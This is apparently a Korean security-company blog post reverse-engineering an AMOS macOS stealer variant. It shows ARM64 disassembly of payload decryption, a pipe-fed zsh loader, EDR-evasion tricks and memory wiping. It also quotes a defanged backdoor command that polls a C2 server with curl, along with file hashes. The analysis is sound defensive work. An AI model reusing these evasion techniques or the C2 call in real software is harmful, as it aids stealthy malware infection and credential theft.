루프:",[573,2223,2224],{"style":575},[577,2225,2228],{"className":2226,"code":2227,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2229,2227],{"__ignoreMap":585},[528,2231,2232,2233,2236,2237,2240,2241,2243],{},"이 키는 16비트 값으로, 첫 번째 셸 페이로드의 종료 상태 바이트에서 유도되어 ",[555,2234,2235],{},"0x7f0","을 곱한 뒤 상태 머신의 기준 카운터 레지스터 ",[555,2238,2239],{},"w26","의 현재 값에 더해집니다. 곱셈 상수 ",[555,2242,2235],{},"은 종료 코드의 단일 비트 차이가 완전히 다른 키를 만들어내게 합니다. 인접한 키 값 사이에는 악용할 수 있는 연속성이 없습니다.",[528,2245,2246],{},"바이너리를 통제된 환경에서 실행하여 첫 번째 셸 페이로드의 정확한 종료 코드를 기록하지 않으면, 2단계 페이로드는 정적 분석에 대해 영구적으로 불투명하게 남습니다. 이것이 전체 분석에서 가장 어려운 관문이었습니다.",[538,2248],{},[562,2250,2252],{"id":2251},"셸-실행-인자-대신-파이프-그리고-simd-xor","셸 실행: 인자 대신 파이프, 그리고 SIMD XOR",[528,2254,568],{},[528,2256,2257,2260,2261,2264],{},[555,2258,2259],{},"0x10000091c","에 있는 셸 실행 함수 ",[555,2262,2263],{},"FUN_10000091c","은 이 바이너리에서 아키텍처적으로 가장 흥미로운 구성 요소입니다. 여기서 모든 것이 한데 모입니다. 디코딩된 페이로드, 난독화된 명령 이름, 그리고 명시적인 안티 포렌식 설계가 그것입니다. 이 함수의 모든 설계 결정은 특정한 회피 목적을 지향합니다.",[706,2266,2268],{"id":2267},"_1단계-명령-이름은-결코-평문으로-나타나지-않는다","1단계: 명령 이름은 결코 평문으로 나타나지 않는다",[528,2270,712],{},[528,2272,2273,2276,2277,2280,2281,2284,2285,2288],{},[555,2274,2275],{},"/bin/zsh","는 바이너리 어디에도 평문으로 존재하지 않습니다. ",[555,2278,2279],{},"0x1007bb5c8","의 ",[555,2282,2283],{},"__cstring"," 섹션에는 이 문자열이 난독화된 바이트 ",[555,2286,2287],{},"\\x01LG@\\x01T]F","로 들어 있습니다. 디코딩은 실행 시점에 단일 XOR 연산으로 이루어지며, ARM64 어셈블리에서 직접 검증할 수 있습니다:",[573,2290,2291],{"style":575},[577,2292,2295],{"className":2293,"code":2294,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2296,2294],{"__ignoreMap":585},[528,2298,2299,2300,2303,2304,2306,2307,2310],{},"XOR 키는 ",[555,2301,2302],{},"0x2e",", 즉 ",[555,2305,1819],{},"(마침표)의 ASCII 값입니다. 디코딩은 단일 ",[555,2308,2309],{},"eor v0.8B, v0.8B, v1.8B"," 명령으로 이루어지는데, 이는 8바이트 전체를 동시에 XOR하는 ARM64 NEON 벡터 명령입니다. 단순한 8바이트 디코드에 SIMD 명령을 사용하는 것은 이례적이며 두 가지 효과가 있습니다. 바이트 단위 루프보다 빠르고, 생성되는 명령 패턴이 시그니처 매칭 도구가 학습한 스칼라 디코드 루프와 근본적으로 다릅니다.",[528,2312,2313,2314,1322,2317,1322,2320,1322,2323,2326,2327,2330],{},"검증은 간단합니다. ",[555,2315,2316],{},"0x01 XOR 0x2e = 0x2f = /",[555,2318,2319],{},"0x4c XOR 0x2e = 0x62 = b",[555,2321,2322],{},"0x47 XOR 0x2e = 0x69 = i",[555,2324,2325],{},"0x40 XOR 0x2e = 0x6e = n",", 즉 첫 네 바이트가 ",[555,2328,2329],{},"/bin","이 됩니다.",[706,2332,2334],{"id":2333},"_2단계-파이프-아키텍처","2단계: 파이프 아키텍처",[528,2336,712],{},[528,2338,2339],{},"명령 이름을 디코딩한 뒤, 함수는 OS 파이프를 만들고 fork합니다:",[573,2341,2342],{"style":575},[577,2343,2346],{"className":2344,"code":2345,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2347,2345],{"__ignoreMap":585},[528,2349,2350],{},"자식 프로세스에서:",[573,2352,2353],{"style":575},[577,2354,2357],{"className":2355,"code":2356,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2358,2356],{"__ignoreMap":585},[528,2360,2361,2362,2365,2366,2369,2370,2372],{},"자식 프로세스는 자신의 표준 입력을 파이프의 읽기 끝으로 대체하고 ",[555,2363,2364],{},"/bin/zsh -s","를 시작합니다. ",[555,2367,2368],{},"-s"," 모드에서 셸은 stdin에서 명령을 읽습니다. 프로세스 모니터링 도구에게 이 프로세스는 인자 없는 ",[555,2371,2364],{},"로 보이며, 정상적인 대화형 셸 세션과 구별되지 않습니다.",[706,2374,2376],{"id":2375},"_3단계-가변-크기-청크-쓰기","3단계: 가변 크기 청크 쓰기",[528,2378,712],{},[528,2380,2381],{},"부모 프로세스는 복호화된 페이로드를 의도적으로 변화하는 청크 크기로 파이프의 쓰기 끝에 씁니다:",[573,2383,2384],{"style":575},[577,2385,2388],{"className":2386,"code":2387,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2389,2387],{"__ignoreMap":585},[528,2391,2392,2393,2396,2397,2400,2401,2404,2405,2408],{},"청크 크기 공식 ",[555,2394,2395],{},"(remaining_length % 192) + 64","는 남은 페이로드 길이에 따라 write 호출당 64에서 255바이트 사이의 값을 만들어냅니다. 이 가변 쓰기 패턴은 ",[555,2398,2399],{},"ktrace","나 ",[555,2402,2403],{},"dtrace"," 같은 커널 이벤트 추적 도구에는 보이지만, 인식 가능한 고정 크기 시그니처를 만들지는 않습니다. 동일한 페이로드를 실행할 때마다 서로 다른 ",[555,2406,2407],{},"write()"," 시스템 호출 크기 시퀀스가 생성됩니다.",[528,2410,2411,2412,2414],{},"청크 사이의 1마이크로초 ",[555,2413,1118],{},"은 두 번째 목적을 지닙니다. 쓰기 작업 사이에 CPU를 양보하여 CPU 사용률을 낮게 유지하고, 행위 기반 EDR 규칙이 비정상적인 버스트 I/O로 표시할 수 있는 갑작스러운 급증을 피합니다.",[706,2416,2418],{"id":2417},"_4단계-즉각적인-메모리-정리","4단계: 즉각적인 메모리 정리",[528,2420,712],{},[573,2422,2423],{"style":575},[577,2424,2427],{"className":2425,"code":2426,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2428,2426],{"__ignoreMap":585},[528,2430,2431,2434],{},[555,2432,2433],{},"_bzero()"," 호출은 파이프에 대한 마지막 쓰기 직후 복호화된 페이로드 버퍼 전체를 0으로 만듭니다. 실행이 끝난 뒤 복호화된 페이로드가 메모리에 남아 있는 시간 창은 단 1마이크로초도 없습니다. 이 함수가 반환된 직후 생성된 라이브 메모리 덤프는 페이로드가 있던 자리에서 오직 0만 발견합니다.",[528,2436,2437,2438,2441],{},"이를 ",[771,2439,2440],{},"zero-after-use","라고 하며, 이는 키 자료가 메모리에 남지 않도록 고보안 암호 라이브러리가 사용하는 것과 동일한 기법입니다. 이런 기법이 상용(commodity) 멀웨어에 등장하는 것은 이례적이며, 보안 엔지니어링 배경을 가진 개발자를 시사합니다.",[706,2443,2445],{"id":2444},"전체-실행-시퀀스","전체 실행 시퀀스:",[528,2447,712],{},[573,2449,2450],{"style":575},[577,2451,2454],{"className":2452,"code":2453,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2455,2453],{"__ignoreMap":585},[562,2457,2459],{"id":2458},"무기가-된-임포트-테이블","무기가 된 임포트 테이블",[528,2461,568],{},[528,2463,2464],{},"이 바이너리의 전체 임포트 테이블:",[573,2466,2467],{"style":575},[577,2468,2471],{"className":2469,"code":2470,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2472,2470],{"__ignoreMap":585},[528,2474,2475],{},"총 27개의 심볼입니다. 무엇이 빠져 있는지가 무엇이 있는지 못지않게 많은 것을 말해 줍니다.",[706,2477,2479],{"id":2478},"부재-네트워크","부재: 네트워크",[528,2481,712],{},[573,2483,2484],{"style":575},[577,2485,2488],{"className":2486,"code":2487,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2489,2487],{"__ignoreMap":585},[706,2491,2493],{"id":2492},"부재-파일-시스템","부재: 파일 시스템",[528,2495,712],{},[573,2497,2498],{"style":575},[577,2499,2502],{"className":2500,"code":2501,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2503,2501],{"__ignoreMap":585},[706,2505,2507],{"id":2506},"부재-프로세스-인트로스펙션","부재: 프로세스 인트로스펙션",[528,2509,712],{},[573,2511,2512],{"style":575},[577,2513,2516],{"className":2514,"code":2515,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2517,2515],{"__ignoreMap":585},[706,2519,2521],{"id":2520},"부재-암호화","부재: 암호화",[528,2523,568],{},[573,2525,2526],{"style":575},[577,2527,2530],{"className":2528,"code":2529,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2531,2529],{"__ignoreMap":585},[528,2533,2534,2535,1322,2538,2541,2542,1322,2545,2548],{},"전통적인 멀웨어 샘플이라면 네트워크 임포트(",[555,2536,2537],{},"socket",[555,2539,2540],{},"connect",")나 파일 임포트(",[555,2543,2544],{},"fopen",[555,2546,2547],{},"write",")를 기대하게 됩니다. 이 바이너리에는 그런 것이 단 하나도 없습니다. 표준 스캐너에게 이 바이너리는 무해한 프로세스 실행기(launcher)처럼 보이며, 이는 의도된 것입니다. 정적 분석 도구를 헛돌게 만드는 의도적인 아키텍처 결정입니다.",[528,2550,2551,2553],{},[555,2552,921],{}," 바이너리는 탈취를 직접 수행하지 않습니다. 그 유일한 목적은 실제 악성 페이로드, 즉 강하게 난독화된 AppleScript를 내려놓고 실행하는 것입니다. 악성 바이너리를 찾는 EDR이나 AV는 여기서 네트워크나 파일 I/O가 없는 로더를 보게 되고, 이 바이너리가 고수준 스크립트 페이로드를 위한 특화된 전달 시스템이라는 사실을 인식하지 못한 채 깨끗한 것으로 분류할 수 있습니다.",[538,2555],{},[541,2557,2558],{"id":2558},"백도어",[528,2560,547],{},[528,2562,2563,2564,2567],{},"이 인시던트는 최초 침해 이후에도 끝나지 않았습니다. Microsoft Defender 텔레메트리는 ",[555,2565,2566],{},"/Users/\u003Credacted>/.mainhelper","에서 실행되며 외부 서버를 조회하는 프로세스를 보여주었습니다:",[573,2569,2570],{"style":575},[577,2571,2573],{"className":782,"code":2572,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2574,2575],{"__ignoreMap":585},[622,2576,2577,2580,2582],{"class":624,"line":625},[622,2578,2579],{"class":791},"sh",[622,2581,796],{"class":795},[622,2583,2584],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2586,2587],{},"이 Base64 문자열은 16바이트 기기 UUID로 디코딩되었는데, 이는 공격자의 C2 인프라가 최초 감염일에 이 기기에 할당한 고유 식별자였습니다.",[528,2589,2590,2593,2594,2597,2598,2600],{},[555,2591,2592],{},".mainhelper"," 바이너리(SHA-256: ",[555,2595,2596],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",")는 인시던트 당일 osascript 드로퍼가 ",[555,2599,792],{},"를 통해 설치한 것이었습니다.",[538,2602],{},[541,2604,2606],{"id":2605},"집단-방패의-힘-우리의-shared-threat-intelligence-플랫폼","집단 방패의 힘: 우리의 Shared Threat Intelligence 플랫폼",[528,2608,547],{},[528,2610,2611],{},"우리 SOC에서 알림이 발생하면, 시계는 해당 고객뿐 아니라 glueckkanja의 보호막 아래에 있는 모든 조직을 위해 돌아가기 시작합니다. 문서화되지 않은 이 AMOS 변종에 대한 조사는 인텔리전스 갭이 현실에서 무엇을 의미하는지 분명히 보여줍니다. 전통적인 공급업체가 위협을 아직 본 적이 없기에 눈이 먼 채로 있는 위험한 시간 창 말입니다.",[528,2613,2614],{},"바로 이 지점에서 glueckkanja CSOC 고객을 위해 독점적으로 개발된 우리의 독자적 Shared Threat Intelligence Platform이 그 가치를 드러냅니다. 우리는 업계 업데이트를 기다리지 않습니다. 우리가 그것을 만듭니다. 우리 분석가들이 아직 ARM64 어셈블리의 마지막 계층을 해체하는 동안, 우리의 Automated Orchestration Engine은 이미 추출된 지표를 우리 생태계 전반에 배포하고 있었습니다. 이것이 집단 면역(herd immunity)을 만들어냅니다. 단 하나의 엔드포인트에서 발견된 것이 몇 분 안에 우리 보호 아래에 있는 모든 조직에 대해 차단된 위협이 됩니다.",[528,2616,2617],{},"반응형 보안은 기존 방어 메커니즘의 틈새를 겨냥해 빠져나가는 위협에는 통하지 않습니다. 해답은 인간의 전문성을, 그 지식을 즉시 그리고 확장 가능하게 활용하는 아키텍처와 결합하는 데 있습니다. 우리의 공유 인텔리전스 모델을 통해 공격자의 시간적 우위는 역전됩니다. 우리 고객은 위협이 업계에 인식되기도 전에 이미 보호받고 있습니다.",[2619,2620,2621,2626,2629,2632],"blockquote",{},[528,2622,2623],{},[771,2624,2625],{},"개인정보 보호 안내",[528,2627,2628],{},"이 발행물에서는 식별 정보를 익명 처리했습니다. 특정 기술적 세부사항, 지표, 타임스탬프는 분석의 기술적 무결성을 해치지 않으면서 영향을 받은 환경의 지속적인 보호를 보장하기 위해 일부 변경되었을 수 있습니다.",[528,2630,2631],{},"이 보고서의 기술적 분석과 침해 지표(IOC)는 오로지 정보 제공 및 교육 목적을 위한 것입니다. 이는 최선의 지식에 근거해 제공됩니다. glueckkanja AG는 완전성이나 정확성에 관해 명시적이든 묵시적이든 어떠한 보증도 하지 않으며, 여기서 공유된 정보, 규칙, 시그니처의 사용으로 발생하는 손해, 손실, 보안 사고에 대해 책임지지 않습니다. 모든 지표와 규칙은 실제 사용 전에 통제된 환경에서 검증할 것을 권장합니다.",[528,2633,2634],{},"여기서 기술된 지표와 기법은 알려진 멀웨어 패밀리와 겹칠 수 있으며, 단일 캠페인에만 배타적으로 귀속되지 않습니다.",[2636,2637,2638],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2640},[2641,2642,2643,2644,2651,2652,2653,2654,2662,2669],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2645},[2646,2647,2648,2649,2650],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":928,"depth":631,"text":929},{"id":1018,"depth":631,"text":1019},{"id":1133,"depth":631,"text":1134},{"id":1204,"depth":631,"text":1205,"children":2655},[2656,2657,2658,2659,2660,2661],{"id":1219,"depth":849,"text":1220},{"id":1507,"depth":849,"text":1508},{"id":1763,"depth":849,"text":1764},{"id":1958,"depth":849,"text":1959},{"id":2045,"depth":849,"text":2046},{"id":2197,"depth":849,"text":2198},{"id":2251,"depth":631,"text":2252,"children":2663},[2664,2665,2666,2667,2668],{"id":2267,"depth":849,"text":2268},{"id":2333,"depth":849,"text":2334},{"id":2375,"depth":849,"text":2376},{"id":2417,"depth":849,"text":2418},{"id":2444,"depth":849,"text":2445},{"id":2458,"depth":631,"text":2459,"children":2670},[2671,2672,2673,2674],{"id":2478,"depth":849,"text":2479},{"id":2492,"depth":849,"text":2493},{"id":2506,"depth":849,"text":2507},{"id":2520,"depth":849,"text":2521},"md","post",{"lang":2678,"seoTitle":2679,"titleClass":2680,"date":2681,"categories":2682,"blogtitlepic":2684,"socialimg":2685,"customExcerpt":2686,"keywords":2687,"maxContent":325,"asideNav":2688,"footer":2703,"contactInContent":2704,"published":325},"ko","AMOS 스틸러 변종: 알려지지 않은 macOS 멀웨어 리버스 엔지니어링","h2-font-size","2026-04-10",[2683],"Security","head-amos-stealer.png","/blog/heads/head-amos-stealer.png","지금까지 문서화되지 않은 AMOS 스틸러 변종이 macOS 엔드포인트를 침해했습니다. 알려진 해시도, 공개 데이터베이스의 C2 데이터도 없었습니다. 우리 SOC는 여섯 겹의 난독화 계층을 해체하고 모든 지표를 추출한 뒤, 업계가 이 샘플을 미처 보기도 전에 몇 시간 만에 모든 SOC 고객에게 보호를 배포했습니다.","AMOS Stealer, macOS 멀웨어, 리버스 엔지니어링, 멀웨어 분석, Ghidra, ARM64, 인시던트 대응, 위협 인텔리전스, CSOC, macOS 보안, 스틸러 멀웨어, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2689},[2690,2693,2695,2698,2700],{"href":2691,"text":2692},"#사건-알려지지-않은-ioc-시나리오","사건",{"href":2694,"text":565},"#_1단계-샌드박스-점검",{"href":2696,"text":2697},"#_2단계-helper-바이너리-리버스-엔지니어링","2단계: 바이너리 분석",{"href":2699,"text":2558},"#백도어",{"href":2701,"text":2702},"#집단-방패의-힘-우리의-shared-threat-intelligence-플랫폼","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2705},{"bgColor":2706,"headline":2707,"subline":2708,"level":562,"textStyling":2709,"flush":2710,"person":2711,"form":2717},"var(--color-gk-dark-blue)","문의하기","우리의 Shared Threat Intelligence Platform이 업계가 알아차리기도 전에 알려지지 않은 멀웨어 변종으로부터 여러분을 어떻게 보호하는지 궁금하신가요? 저희에게 연락 주세요.","text-light","justify-content-end",{"image":2712,"cloudinary":325,"alt":2713,"name":2714,"quotee":2714,"quoteeTitle":2715,"quote":2716},"/people/people-jan-geisbauer-csoc.jpg","glueckkanja의 Head of Security Jan Geisbauer의 인물 사진","Jan Geisbauer","Head of Security","이 변종에서 위험했던 것은 기술적 복잡성이 아니었습니다. 물론 그것도 인상적이지만 말입니다. 위험했던 것은 시간 창이었습니다. Shared Threat Intelligence가 없었다면, 우리가 아직 분석하는 동안 다른 고객들은 몇 시간이나 무방비로 노출되어 있었을 것입니다.",{"ctaText":2718,"cta":2719,"method":2676,"action":2721,"fields":2722},"Absenden",{"skin":2720},"primary on-surface","/send",[2723,2727,2731,2734,2738,2743,2748,2750,2753,2756,2759,2761],{"type":2724,"id":2725,"value":2726},"hidden","_next","successful",{"label":2728,"type":582,"id":2729,"required":325,"requiredMsg":2730},"이름*","name","이름을 입력해 주세요.",{"label":2732,"type":582,"id":403,"required":325,"requiredMsg":2733},"회사*","회사명을 입력해 주세요.",{"label":2735,"type":2736,"id":2736,"required":325,"requiredMsg":2737},"이메일 주소*","email","이메일 주소를 입력해 주세요.",{"label":2739,"type":2740,"id":2741,"required":484,"requiredMsg":2742},"저희에게 남길 메시지","textarea","message","메시지를 입력해 주세요.",{"label":2744,"type":2745,"id":2746,"required":325,"requiredMsg":2747},"여러분의 데이터는 문의 처리 및 답변을 위해 저희가 저장합니다. 개인정보 보호에 관한 자세한 내용은 \u003Ca href=\"/ko/privacy\">개인정보 처리방침\u003C/a>에서 확인하실 수 있습니다.","checkbox","dataprotection","확인해 주세요",{"type":2724,"id":2749,"value":2683},"_topic",{"type":2724,"id":2751,"value":2752},"_location","World",{"type":2724,"id":2754,"value":2755},"_subject","Form: Blog AMOS Stealer CSOC | KO",{"type":2724,"id":2757,"value":2758},"inbox_key","gkgab-contact-form",{"type":2724,"id":2760},"_gotcha",{"type":2724,"id":2762},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2767,2768,2769,2770,2771],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","b9n3SJkIvvGpKX91FirNMbOf09tasxhiNIyMFeJje8I",{"id":2774,"extension":2775,"meta":2776,"stem":8,"__hash__":3125},"authors_data/authors.json","json",{"path":2777,"Fritz Zurhorst":2778,"Alexander Schlindwein":2784,"Sophie Luna":2790,"Nadine Klein":2798,"Karsten Kleinschmidt":2804,"Julian Wendt":2812,"Holger Bunkradt":2817,"Ralf Mania":2823,"Oliver Kieselbach":2829,"Steffen Schwerdtfeger":2835,"Gunnar Winter":2843,"Jan Petersen":2848,"Thorsten Kunzi":2853,"Moritz Pohl":2857,"Thorben Pöschus":2862,"Christoph Hannebauer":2868,"Marco Scheel":2872,"Christopher Brumm":2877,"Florian Klante":2884,"Niklas Bachmann":2889,"Nils Krautkrämer":2894,"Patrick Treptau":2900,"Peter Beckendorf":2905,"Patrick Sobau":2910,"Jörg Wunderlich":2915,"Michael Breither":2919,"Christian Kanja":2924,"Zeba Hoffmann":2930,"Jochen Fröhlich":2935,"Jan Geisbauer":2939,"Gerrit Reinke":2950,"Christian Kordel":2956,"Stephan Wälde":2960,"Carolin Kanja":2965,"Adrian Ritter":2971,"Marvin Bangert":2976,"Thorsten Pickhan":2982,"Christian Lorenz":2988,"Denis Böhm":2993,"Fabian Bader":2998,"Juan Jose Fernandez Perez":3004,"Mahschid Sayyar":3009,"Benjamin Dassow":3014,"Markus Walschburger":3019,"Jonathan Haist":3024,"Daniel Rohregger":3029,"Thomas Naunheim":3034,"Florian Stöckl":3039,"Pascal Asch":3044,"Markus Kättner":3048,"Anna Ulbricht":3055,"Annette Brauns":3062,"body":3068,"title":3124},"/authors",{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2791,"avatar":2792,"permalink":2793,"twitter":2794,"linkedin":2795,"imageOffsetLeft":2796,"imageOffsetTop":2797},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2813,"avatar":2814,"permalink":2815,"linkedin":2816},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2844,"avatar":2845,"permalink":2846,"twitter":2794,"linkedin":2847},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2849,"avatar":2850,"permalink":2851,"twitter":2794,"linkedin":2852},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2854,"avatar":2855,"permalink":2856,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2858,"avatar":2859,"permalink":2860,"twitter":2794,"linkedin":2861},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2866,"linkedin":2867},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2869,"avatar":2870,"permalink":2871,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2873,"avatar":2874,"permalink":2875,"twitter":2876,"linkedin":2876},"Marco 